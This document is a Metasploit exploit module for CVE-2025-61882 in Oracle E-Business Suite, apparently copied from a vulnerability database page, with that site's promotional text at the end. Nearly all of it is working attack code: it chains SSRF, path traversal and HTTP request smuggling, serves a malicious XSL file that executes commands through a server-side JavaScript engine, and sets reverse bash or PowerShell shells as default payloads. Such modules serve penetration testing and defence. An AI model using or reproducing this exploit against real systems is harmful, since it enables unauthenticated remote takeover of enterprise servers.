# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
'Description' => %q{
This module exploits CVE-2025-61882 in Oracle E-Business Suite
by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.
The exploit hosts a malicious XSL file
that the target will fetch and process, leading to RCE.
This module provides an interactive shell session.
Vulnerable versions affected are 12.2.3-12.2.14.
},
'Author' => [
'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
'Mathieu Dupas' # Metasploit module development
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-61882'],
[
'URL',
'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
],
['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
],
'Targets' => [
[
'Linux/Unix (Interactive Shell)',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
# Simple payload but feel free to use meterpreter ones if needed
}
}
],
[
'Windows (Interactive Shell)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/reverse_powershell'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-10-04',
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
])
end
def check
vprint_status('Checking if target is vulnerable...')
return CheckCode::Safe unless oracle_ebs_detected?
csrf_token = retrieve_csrf_token
return CheckCode::Unknown unless csrf_token
return CheckCode::Appears if vulnerable_servlet_accessible?(csrf_token)
CheckCode::Safe
end
# Serve malicious XSLT file
def on_request_uri(cli, request)
print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")
if request.uri.include?('.xsl')
print_good("Serving XSL payload to #{cli.peerhost}...")
xsl_content = generate_xsl_payload
send_response(cli, xsl_content, {
'Content-Type' => 'application/xml',
'Content-Length' => xsl_content.length.to_s,
'Connection' => 'close'
})
# Mark XSL file as served
@xsl_served = true
print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")
else
print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
send_not_found(cli)
end
end
def generate_xsl_payload
command = payload.encoded
vprint_status("Generated command: #{command}")
# Adapt the command to the platform
base_cmd = case target['Platform']
when 'win'
['cmd.exe', '/c']
else
['sh', '-c']
end
# Escaping apostrophes and backslashes
escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
# JavaScript code that will be executed server side via XSLT
js = %|
var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
1
|
# Encode in base64 to avoid problems with XML parsing
encoded_js = Rex::Text.encode_base64(js)
# Generate XSLT
%|<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'#{encoded_js}')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>|
end
def exploit
@xsl_served = false
@session_created = false
# Step 1 : Start HTTP server for XSL file serving
print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
start_service(
'Uri' => {
'Proc' => proc { |cli, request| on_request_uri(cli, request) },
'Path' => '/'
}
)
# construct server URL
server_url = get_uri
xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
print_status("XSL payload will be served at: #{xsl_url}")
# Step 2: Get CSRF token
print_status('Retrieving CSRF token from target...')
csrf_token = retrieve_csrf_token
fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token
print_good("CSRF token retrieved: #{csrf_token}")
# Step 3: Smuggle payload
print_status('Creating HTTP request smuggling payload...')
smuggle_payload = create_smuggle_payload
vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")
# Step 4: Send exploit request
print_status('Triggering exploitation via UiServlet...')
send_exploit_request(smuggle_payload)
# Step 5: Wait for XSLT file download
print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")
begin
# Wait for XSL request
retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
@xsl_served
end
# Wait for shell connection
print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
session_created?
end
print_good('Session created successfully!')
@session_created = true
rescue ::Timeout::Error
if !@xsl_served
print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
else
print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
end
end
end
def retrieve_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
'keep_cookies' => true
})
return nil unless res
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
'headers' => {
'CSRF-XHR' => 'YES',
'FETCH-CSRF-TOKEN' => '1'
},
'keep_cookies' => true
})
if res && res.code == 200 && res.body
parts = res.body.split(':')
return parts[1].strip if parts.length >= 2
end
nil
rescue ::Rex::ConnectionError, ::Timeout::Error => e
vprint_error("Connection failed: #{e.class}")
nil
end
def create_smuggle_payload
srvhost = datastore['SRVHOST']
srvport = datastore['SRVPORT']
srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0'
smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
smuggle_request += "Host: #{srvhost}:#{srvport}\r\n"
smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
smuggle_request += "Connection: keep-alive\r\n"
# Add sessions cookies
cookies = get_cookies
smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?
# Add POST request via CRLF
smuggle_request += "\r\n\r\n\r\nPOST /"
vprint_status("Smuggled request will target: #{srvhost}:#{srvport}")
vprint_status('Full smuggled request:')
vprint_line(smuggle_request) if datastore['VERBOSE']
# Encode payload in HTML entities
cook_smuggle_stub(smuggle_request)
end
def cook_smuggle_stub(payload)
payload = payload.sub(/^(?:POST|GET) /, '')
# Encode in HTML entities
Rex::Text.html_encode(payload)
end
def send_exploit_request(encoded_payload)
# Encoded payload is inserted in return_url (SSRF)
xml = %(<?xml version="1.0" encoding="UTF-8"?>\
<initialize>\
<param name="init_was_saved">test</param>\
<param name="return_url">http://apps.example.com:7201#{encoded_payload}</param>\
<param name="ui_def_id">0</param>\
<param name="config_effective_usage_id">0</param>\
<param name="ui_type">Applet</param>\
</initialize>)
vprint_status('Sending exploit to UiServlet...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => xml
},
'keep_cookies' => true
})
if res
vprint_status("UiServlet responded with: #{res.code}")
vprint_status("Response body length: #{res.body.length} bytes") if res.body
else
print_warning('No response from UiServlet (this might be normal)')
end
res
end
def get_cookies
cookies = []
cookie_jar.cookies.each do |cookie|
cookies << "#{cookie.name}=#{cookie.value}"
end
cookies.join('; ')
end
def oracle_ebs_detected?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
})
res && (res.headers['Server']&.include?('Oracle') ||
res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
rescue StandardError
false
end
def vulnerable_servlet_accessible?(_csrf_token)
test_xml = '<?xml version="1.0" encoding="UTF-8"?>' \
'<initialize>' \
'<param name="init_was_saved">test</param>' \
'<param name="return_url">http://example.com/test</param>' \
'<param name="ui_def_id">0</param>' \
'<param name="config_effective_usage_id">0</param>' \
'<param name="ui_type">Applet</param>' \
'</initialize>'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => test_xml
},
'keep_cookies' => true
})
res && [200, 302].include?(res.code)
rescue StandardError
false
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation